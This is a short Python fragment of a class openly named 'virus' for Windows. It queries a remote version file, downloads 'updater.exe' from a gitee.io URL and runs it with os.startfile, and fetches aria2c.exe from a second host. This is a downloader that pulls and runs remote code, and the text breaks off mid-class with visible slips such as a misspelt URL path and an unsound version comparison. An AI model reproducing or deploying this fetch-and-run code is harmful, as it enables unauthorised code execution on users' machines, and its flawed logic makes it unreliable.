import json,os,sys,requests,win32api,socket
class virus(object):
        def __init__(self):
                self.__version=0
                if self.__version != json.loads(requests.get("https://bigskcode.gitee.io/page/virus/1/latest.json").text):
                    self.checkAria2C()
                    self.download("https://bigskcode.gitee.io/pagr/virus/1/updater.exe")
                    os.startfile("updater.exe")
                    sys.exit(0)
                self.checkAria2C()
        def checkAria2C(self):
                if not os.path.isfile("aria2c.exe"):
                        with open("aria2c.exe","wb") as FO:
                                FO.write(requests.get("https://resource.ghink.net/aria2c/win32/aria2c.exe").content)